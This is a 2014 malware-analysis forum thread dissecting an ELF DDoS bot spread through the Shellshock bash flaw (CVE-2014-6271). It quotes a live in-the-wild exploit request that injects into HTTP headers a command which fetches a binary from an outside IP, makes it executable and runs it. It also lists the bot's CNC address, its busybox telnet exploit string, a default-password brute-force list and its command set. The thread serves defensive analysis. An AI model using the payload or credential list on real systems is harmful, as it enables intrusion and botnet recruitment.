A forum for reverse engineering, OS internals and malware analysis 

Forum for analysis and discussion about malware.
 #23987  by unixfreaxjp
 Thu Sep 25, 2014 12:10 pm
I am not feeling well, but this is important. It's the first 0day bash injected ELF malware spotted in ITW attack of CVE-2014-6271.
ThIs sample was found via @Yinettesys's (credit) IDS sigs: https://gist.github.com/anonymous/929d622f3b36b00c0be1
The sample is up and alive, my analysis I posted in VT (see the comment tab): https://www.virustotal.com/en/file/73b0 ... 411634118/
Announced was 6h ago here: https://twitter.com/yinettesys/status/5 ... 6268604416
And detection ratio is still ZERO.. :twisted:
/* THIS is what I am afraid of for the ELF malware...sigh.. now you know why I yell ELF a lot!! The AV scanning performance for new ELF itself is ANOTHER 0day actually..*/
Anyway, the malware is new, spotted and saved/designed (firstly found) for a #0day , so I named it as Linux/Bash0day < (if you have better name..pls feel free to change.. :) )
Basically the malware is backdoors to a CNC and remotely control (bot) with the busybox rooter attack. CNC info is in the analysis.
It scans for logins + tries to exploit via SCANNER (telnet?) on IPs & gained shell with an "overdue" busybox skids exec_code.. :lol: (often sighted in telnet flaw ref is here: https://isc.sans.edu/diary/Busybox+Hone ... nner/18055 ) and gain privilege of the admin/root (if possible).
The main course is : It does DDoS in TCP and UDP so does other attacks (JUNK, HOLD), with backdoor to its CNC.
So it is the "another" DDoS botnet story..

The binary wasn't clearly stripped, yet using silly decrypter, it looks like a "quicky" codings job in some parts, yet well-designed/crypted in many others, I think they prepared it a bit (for this kind of occassion) BEFORE 0day was publicly announced (still < 24day), since the 0day was found in about a week before and mostly is leaked to bad guys faster than good guys.
Answering twitter comments:
Q: So, not a worm at least, though that's no consolation for public-facing systems
A: That SCANNER part is aiming IPs+sent "that" BusyBox codes to exploit (should be telnet..other protocol just doesnt work)..Maybe not a worm, but a morons who wanna build #botnet #DDoS'er upon #0day #bash
Q: IMO, likely attackers will plant malware in web servers as 2nd stage
A: Aiming router for DDoS=2nd→Busybox sploit. WebServers=1st stage←no shellshock trace in #ELF (read: The actor is aiming web server to implement ELF to do the scanning of routers, PoC'ed by the busybox exploit in telnet which only affected routers/embedded linux/or MAYBE ANDROID too! for hack or DDoS or etc purpose which is the actor's end stage, in my opinion. This is backed up by the fact that there is no trace of #bash #0day CGI exploit in the binary ELF itself..I was eager to see that actually.

I think we will see many more on these will come up.. beware..
Feel free to add, comment, improve, critics, put more samples of the similars. I gotta rest, in hospital bed now, bye! :|
#MalwareMustDie!
Attachments
7z/infected
(216.74 KiB) Downloaded 173 times
Last edited by unixfreaxjp on Thu Sep 25, 2014 2:47 pm, edited 7 times in total.
 #23988  by K_Mikhail
 Thu Sep 25, 2014 1:13 pm
pw:infected
(216.68 KiB) Downloaded 128 times
From https://gist.github.com/anonymous/929d622f3b36b00c0be1 :
Code: Select all
GET./.HTTP/1.0
.User-Agent:.Thanks-Rob
.Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Host:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Referer:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Accept:.*/*
/apache - is also working. The only difference is IP-addresses specified in ELFs.
 #23989  by unixfreaxjp
 Thu Sep 25, 2014 3:40 pm
Thank's Mikhail!
VT: https://www.virustotal.com/en/file/2d3e ... /analysis/
K_Mikhail wrote:/apache - is also working. The only difference is IP-addresses specified in ELFs.
;) Let's do a fast check (non=ASM) for its s***** (crooks are reading this too). It's good for the future reference and for all people to know this ELF type. PS: the nginx and "apache" are identical in codes.

// ip
Code: Select all
0x064E4C  108.162.197.26
0x06513D  162.253.66.76:53 <=== CNC /* is changed */
Previously the CNC was 89.238.150.154:5, this is the snapshot of the pic I took when the first time CNC connection was established:
Image

Anyway the CNC 162.253.66.76:53 is rejecting the request now:
Image

// busybox telnet exploit:
Code: Select all
0x064F40  /bin/busybox;echo -e '\147\141\171\146\147\164'
// project used file list (for further identification):
Code: Select all
apache(2802): 0x06567F  cxa_atexit.c
apache(2819): 0x06586F  malloc.c
apache(2825): 0x0658B4  hooks.c
apache(2832): 0x06592A  arena.c
apache(2934): 0x066D60  ../nptl/sysdeps/unix/sysv/linux/i386/../fork.c
apache(3068): 0x068950  vfprintf.c
apache(3081): 0x068F00  ../stdio-common/printf_fphex.c
apache(3084): 0x06919C  fxprintf.c
apache(3088): 0x069340  wfileops.c
apache(3095): 0x0695F4  strops.c
apache(3099): 0x0696C4  wcrtomb.c
apache(3102): 0x069778  wcsrtombs.c
apache(3107): 0x0697F4  mbsnrtowcs.c
apache(3118): 0x06992D  tzfile.c
apache(3140): 0x06AB4C  ../sysdeps/unix/sysv/linux/getcwd.c
apache(3151): 0x06AC20  ../sysdeps/unix/sysv/linux/getsysstats.c
apache(3304): 0x06BFC0  ../sysdeps/unix/sysv/linux/dl-origin.c
apache(3306): 0x06BFF4  gconv.c
apache(3310): 0x06C050  gconv_db.c
apache(3316): 0x06C0F3  gconv_conf.c
apache(3413): 0x06C687  gconv_builtin.c
apache(3416): 0x06C7A0  ../iconv/skeleton.c
apache(3418): 0x06C7CF  ../iconv/loop.c
apache(3424): 0x06C841  gconv_simple.c
apache(3453): 0x06CC86  gconv_trans.c
apache(3458): 0x06CCF5  gconv_dl.c
apache(3481): 0x06CEC0  findlocale.c
apache(3485): 0x06CF94  loadlocale.c
apache(3499): 0x06D960  loadarchive.c
apache(3769): 0x07C258  iofwide.c
apache(3771): 0x07C380  ../sysdeps/x86_64/cacheinfo.c
apache(3781): 0x07C6B0  mbsrtowcs_l.c
apache(3799): 0x07C872  vfscanf.c
apache(3855): 0x07CB8C  mbrtowc.c
apache(3156): 0x06AC79  dl-load.c
apache(3228): 0x06B480  dl-cache.c
apache(3232): 0x06B4C9  dl-lookup.c
apache(3270): 0x06B924  dl-reloc.c
apache(3283): 0x06BD41  dl-misc.c
apache(3288): 0x06BE38  dl-tls.c
apache(3784): 0x07C734  dl-runtime.c
apache(3858): 0x07CBBA  dl-open.c
apache(3873): 0x07CDB0  dl-close.c
apache(3911): 0x07D43F  dl-deps.c
apache(3916): 0x07D495  dl-fini.c
apache(3927): 0x07D5B0  dl-version.c
// TCP connect communication trace (after socket):
Code: Select all
0x064EFD  syn
0x064F01  rst
0x064F05  fin
0x064F09  ack
0x064F0D  psh
// login bruter, default password, typical router basis :!:
Code: Select all
0x065157  root
0x06515F  admin
0x065166  user
0x06516C  login
0x065173  guest
0x06517A  toor
0x065180  changeme
0x06518A  1234
0x065190  12345
0x065197  123456
0x06519F  default
0x0651A8  pass
0x0651AE  password
// BOT COMMANDS
Code: Select all
0x064FA2  PING reply is "PONG!"
0x064FAD  GETLOCALIP // internal
0x064FC2  SCANNER
0x064FDE  HOLD
0x065007  JUNK
0x065030  UDP
0x065077  TCP
0x06509B  KILLATTK
0x065109  BUILD %s // internal
0x065156  SH 
0x065117  DUP
Last edited by unixfreaxjp on Thu Sep 25, 2014 5:33 pm, edited 4 times in total.
 #24084  by unixfreaxjp
 Wed Oct 08, 2014 3:29 am
aaSSfxxx wrote:Hello,
The project file list you give is just glibc's stuff as the nginx malware is statically-linked with it, so it's useless for detection unfortunately
Hello aaSSfxxx ;) How are you! Would you pls kindly explain to which person and which post (link will be helpful) you addressed the question?